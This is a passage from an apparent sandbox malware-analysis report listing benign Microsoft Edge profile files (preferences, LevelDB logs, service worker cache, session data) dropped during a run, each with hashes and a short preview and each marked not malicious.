rrection_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577686497261481
Encrypted:	false
SSDEEP:	768:139oUCWPyYfGB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVf+yUx3vrwPyDpNtuC:139oUCWPyYfGBu1jaO+yq3cP6t1
MD5:	860DA4864AA87CF3AE59694DD6DCCF27
SHA1:	6D5118C43DFD80D9D76D5240DAEDB1CB78575466
SHA-256:	0C26CD2908CC861F82C3D4906CE6CD7B91730F9E07FECCB8B0B876BAB5A6F87F
SHA-512:	48AE5F798AC2F759583392971401CC681516EACAF98A3A8796C2DF5E93DFC830592653F978E98BADFDC23BF60A7727E2410B4D6E9C62B054A8F07F1174DCC85D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376356589906731","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376356589906731","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2a58d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577686497261481
Encrypted:	false
SSDEEP:	768:139oUCWPyYfGB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVf+yUx3vrwPyDpNtuC:139oUCWPyYfGBu1jaO+yq3cP6t1
MD5:	860DA4864AA87CF3AE59694DD6DCCF27
SHA1:	6D5118C43DFD80D9D76D5240DAEDB1CB78575466
SHA-256:	0C26CD2908CC861F82C3D4906CE6CD7B91730F9E07FECCB8B0B876BAB5A6F87F
SHA-512:	48AE5F798AC2F759583392971401CC681516EACAF98A3A8796C2DF5E93DFC830592653F978E98BADFDC23BF60A7727E2410B4D6E9C62B054A8F07F1174DCC85D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376356589906731","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376356589906731","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2cdc6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26889
Entropy (8bit):	5.577686497261481
Encrypted:	false
SSDEEP:	768:139oUCWPyYfGB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVf+yUx3vrwPyDpNtuC:139oUCWPyYfGBu1jaO+yq3cP6t1
MD5:	860DA4864AA87CF3AE59694DD6DCCF27
SHA1:	6D5118C43DFD80D9D76D5240DAEDB1CB78575466
SHA-256:	0C26CD2908CC861F82C3D4906CE6CD7B91730F9E07FECCB8B0B876BAB5A6F87F
SHA-512:	48AE5F798AC2F759583392971401CC681516EACAF98A3A8796C2DF5E93DFC830592653F978E98BADFDC23BF60A7727E2410B4D6E9C62B054A8F07F1174DCC85D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376356589906731","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376356589906731","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.839384921847312
Encrypted:	false
SSDEEP:	48:F2em+trdDiUfBoXrd6NgtprdDi3BrwrdP3Bd:F1m+txDV0x6NgtpxD4wxT
MD5:	D1452F47003AF0B9D6FC48CA12BB4F65
SHA1:	20832916461DE944D0C39B653EF9491517D5E048
SHA-256:	4516197D5337AA6EE1463669068A965E23AAE3A469B3091D1FD5CBA988F0D2AE
SHA-512:	CC10EB1D71EE3D405014CC7273F59A4A26143C4B3F40845EDB623D063FFD0593681B3C46D76EA8DB8AD69D1DC127036C2D14B8B9105253C61F83288568EEC529
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2e..Em................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.196610364810376
Encrypted:	false
SSDEEP:	6:HUeTfoyAB1cNwi23oH+TcwtE/a252KLlVUeTf8q2PcNwi23oH+TcwtE/a2ZIFUv:1TwTPZYeb8xLtTkvLZYeb8J2FUv
MD5:	9EC52713443D9346506537C96FA7096C
SHA1:	A15DAD9BEAE0BF542AC5F581ADEBD72BBFFF07CE
SHA-256:	BC5222359E8D971805A67E87218E9F5B196DDF6B83F39CED922A3769B7D81FEB
SHA-512:	17165804F1DB416C53FE68CE4D83B2BD8F204C65CCACDA625AE2B0E0992B784AF7AE45607363BB150C30CC59FC10668987D03F2ECF132D98F79ACC846F5F84A7
Malicious:	false
Preview:	2024/11/17-17:36:45.486 b20 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/17-17:36:45.500 b20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114475
Entropy (8bit):	5.5766612136603175
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqhr:d9LyxPXfOxr1lMe1nL/CL/TXEmilR9
MD5:	AB835F0E7367FF7F5BAE688C8C4BF15A
SHA1:	CE28200495A14D9AA5B713E30DBBCB0C0474552E
SHA-256:	0604CCD071A1C861DA89E96459ADE063E4DCE2FADD6C423708DE3DFFA41CA4FE
SHA-512:	368C3B080EA679DD7349EB74644A1156BF0260230E15EC35737D53AA86EC38547282993ED8692B1B83EA23E4D9D6CE1ED6124F69FF95121F2CF7AB6CB631612E
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188969
Entropy (8bit):	6.386977935773932
Encrypted:	false
SSDEEP:	3072:NSNj8b7zxY5wmV8DrhL/fWhMwjtuEdRXCQskWEOz:65wRDlL/qr4EfXhU
MD5:	9C6B023D58F815A1DB0BBE2EC0AF01D6
SHA1:	20DE600BCFC8D66D30BCD7B12C4870C8AB9105F9
SHA-256:	36685E84E1D853D2F7AA8C25F72057046F11ACD1F59B9734FB79F00C0DD9A73D
SHA-512:	54C4D88FE85585FF8C00CD47F1D879BF8EA5D8D6E23500F11F661DCD86054DC045BF5FACDF1C834A9728363402FAA33C5E0C1A762556E024D4C869BF97A63DB8
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;"....x..........,T.8..`,.....L`.....,T...`......L`......Rc......exports...Rcf.h.....module....RcBt......define....Rb.K.=....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..I.Fb...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:xAFXAyXl/lR/lxEY1F+:2FQKC8+
MD5:	5A0A73B801B5B0C60BF070E3786B05FF
SHA1:	F45F37E9FF6D0D68566BC1035AF58E769D29E8D7
SHA-256:	111E50AD73706DC208AA4715DE3C114AEC090D26D8E5F6CB28E05CE53AC17727
SHA-512:	7B70A76E0624A36AE134DA14F646B4B3BA44033057B8796063617C513FA3121BAA1BE017F4C18E86CBB15E3DAD8FE23968C93B83798973C56BEE8A4C9A718CA5
Malicious:	false
Preview:	@....eYoy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:xAFXAyXl/lR/lxEY1F+:2FQKC8+
MD5:	5A0A73B801B5B0C60BF070E3786B05FF
SHA1:	F45F37E9FF6D0D68566BC1035AF58E769D29E8D7
SHA-256:	111E50AD73706DC208AA4715DE3C114AEC090D26D8E5F6CB28E05CE53AC17727
SHA-512:	7B70A76E0624A36AE134DA14F646B4B3BA44033057B8796063617C513FA3121BAA1BE017F4C18E86CBB15E3DAD8FE23968C93B83798973C56BEE8A4C9A718CA5
Malicious:	false
Preview:	@....eYoy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2e507.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.527150097341792
Encrypted:	false
SSDEEP:	3:xAFXAyXl/lR/lxEY1F+:2FQKC8+
MD5:	5A0A73B801B5B0C60BF070E3786B05FF
SHA1:	F45F37E9FF6D0D68566BC1035AF58E769D29E8D7
SHA-256:	111E50AD73706DC208AA4715DE3C114AEC090D26D8E5F6CB28E05CE53AC17727
SHA-512:	7B70A76E0624A36AE134DA14F646B4B3BA44033057B8796063617C513FA3121BAA1BE017F4C18E86CBB15E3DAD8FE23968C93B83798973C56BEE8A4C9A718CA5
Malicious:	false
Preview:	@....eYoy retne.........................X....,..................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6057
Entropy (8bit):	3.3887352982438843
Encrypted:	false
SSDEEP:	96:m/iHdwAD3+Ksi24VqtZV3CmsS6429Xp+Z/+VioQ5SLl9iSr/1V:EUwoSr3rsST29Xp+Z/Ki95SLl9iSr/H
MD5:	05646A5D6732FDEDBB0BA42FBB2C3E0D
SHA1:	8547B73C0C755B754825F57F681BA87442F76E4A
SHA-256:	99D1166857814806FF037D4A92B5B7D560A8AFA66F74F2F9B6C5726AEDC1AB03
SHA-512:	811EE10E8A78E3523AC82FB285E8B3A13455E15445F3BE4AD30BCC8684F91360F1F030DB1937999C7AF3AA85DC35B92C4799C4406AC961B68C4446479519B8A7
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f..................Sb................next-map-id.1.Cnamespace-68a0d161_9fbe_4240_b6f6_afc7fd3bd59e-https://ntp.msn.com/.0-w..d................map-0-shd_sweeper.,{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.c.,.x.a.d.s.-.a.d.q.i.s.c.b.m.m.-.t.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.s.p.-.l.a.y.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.a.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.t.o.p.k.d.e.m.c.,.p.r.g.-.1.s.w.-.s.a.e.r.e.v.a.b.1.t.1.2.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.d.i.d.n.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.17061477184836
Encrypted:	false
SSDEEP:	6:HUeTfHgM+q2PcNwi23oH+TcwtrQMxIFUt8YUeTfHMZmw+YUeTfzMVkwOcNwi23oM:1TYM+vLZYebCFUt8AT0/+ATrMV54ZYeL
MD5:	5F67125B103D15E4CD9709A47F05214F
SHA1:	263C27BBAFF6351154272538D0248CAD642BD182
SHA-256:	136154EB6D5A05B7ACA184BFB71E8AB4EC2BD1C6B7A7375BC10249A51A75B874
SHA-512:	E127950C4BBDEBB7158ED7614DD78CD1CD413F7BD671CD12A6DDBEBF5FC07186BE39E831DBEBDBF5463B335FC323A73DC3EFFF3703C5C49062D46EDE2E4D123B
Malicious:	false
Preview:	2024/11/17-17:36:31.937 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-17:36:31.938 1a6c Recovering log #3.2024/11/17-17:36:31.941 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.17061477184836
Encrypted:	false
SSDEEP:	6:HUeTfHgM+q2PcNwi23oH+TcwtrQMxIFUt8YUeTfHMZmw+YUeTfzMVkwOcNwi23oM:1TYM+vLZYebCFUt8AT0/+ATrMV54ZYeL
MD5:	5F67125B103D15E4CD9709A47F05214F
SHA1:	263C27BBAFF6351154272538D0248CAD642BD182
SHA-256:	136154EB6D5A05B7ACA184BFB71E8AB4EC2BD1C6B7A7375BC10249A51A75B874
SHA-512:	E127950C4BBDEBB7158ED7614DD78CD1CD413F7BD671CD12A6DDBEBF5FC07186BE39E831DBEBDBF5463B335FC323A73DC3EFFF3703C5C49062D46EDE2E4D123B
Malicious:	false
Preview:	2024/11/17-17:36:31.937 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-17:36:31.938 1a6c Recovering log #3.2024/11/17-17:36:31.941 1a6c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376356592398475

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8045061007229832
Encrypted:	false
SSDEEP:	24:3ZdfBa59JFg6WYFpsAF4unxEJtLp3X2amEtG1ChqWIoxkYfbD+UaQKkOAM4B:3LA7g6/FzF4Lp2FEkChLP1fbD+qHOp
MD5:	CB3541F0894DCF4789F20CD1BA4E4A13
SHA1:	1B8994533520F2EC92A6E79601445E268AE465C5
SHA-256:	720A84F752B39C1C63F91AFBF13A98D66978DBCF12BD5E662AE38313106C00C8
SHA-512:	37D8C4F92261E54A3FA19C9C58FA795245CC711A0E21F39C84AFBAB47309773458DB80E5AEFAA8FF93CBACA55D85881F55BAFDA178194104D39AEF3087DDC5DB
Malicious:	false
Preview:	SNSS.......MxR7...........MxR7......"MxR7...........MxR7.......MxR7.......NxR7.......NxR7....!..NxR7...............................MxR7NxR71..,...NxR7$...68a0d161_9fbe_4240_b6f6_afc7fd3bd59e...MxR7.......NxR7......0........MxR7...MxR7.......................MxR7.......................5..0...MxR7&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.....MxR7.......MxR7.......................NxR7...........NxR7........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......=..n#'..>..n#'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.169720778622087
Encrypted:	false
SSDEEP:	6:HUeTfbB4q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUeTfi53JZmw+YUeTfi53DkwOcNJ:1T2vLZYebIhHh2FUt8ATq5Z/+ATq5z5h
MD5:	37F96FA87920653E4C94CFD80E48CC8A
SHA1:	5088DA24DECBEA4B283339F687E6DE54BC440480
SHA-256:	C5C16A4E810E72A062C3D225BD0C538F3BC224664F204E3100383F077A0358B8
SHA-512:	4E2B5212C586B52EA13A8673273025083F2EEAB2FE58F5CB4F6B2F11CEA2D4CBAC4B50297C992E7646C1E3CE22907E3F41616A8EAFD4F0D2A269CCA02CF313DC
Malicious:	false
Preview:	2024/11/17-17:36:29.926 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-17:36:29.927 1e04 Recovering log #3.2024/11/17-17:36:29.927 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.169720778622087
Encrypted:	false
SSDEEP:	6:HUeTfbB4q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YUeTfi53JZmw+YUeTfi53DkwOcNJ:1T2vLZYebIhHh2FUt8ATq5Z/+ATq5z5h
MD5:	37F96FA87920653E4C94CFD80E48CC8A
SHA1:	5088DA24DECBEA4B283339F687E6DE54BC440480
SHA-256:	C5C16A4E810E72A062C3D225BD0C538F3BC224664F204E3100383F077A0358B8
SHA-512:	4E2B5212C586B52EA13A8673273025083F2EEAB2FE58F5CB4F6B2F11CEA2D4CBAC4B50297C992E7646C1E3CE22907E3F41616A8EAFD4F0D2A269CCA02CF313DC
Malicious:	false
Preview:	2024/11/17-17:36:29.926 1e04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-17:36:29.927 1e04 Recovering log #3.2024/11/17-17:36:29.927 1e04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018164538716206493
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlbvP1:/M/xT02zSt
MD5:	1132556DF4A4D53999FA1D0CD4706D96
SHA1:	94FB4E5001D32A8BC404A927A2F62CEDD7D02057
SHA-256:	2D5BC9B00A971209ADCE9CDD1BE67225AC3D3AE953735014FE8A0B9D79BB1EF3
SHA-512:	5162E5F92DC6096F4BBEE725B1A73BBD240FDCE6472FC88306BE99877C99AEDA70CD946B13B97CAEA918B61F8E705AF5303334A7BF5A62E3C66DB42D1F5530A6
Malicious:	false
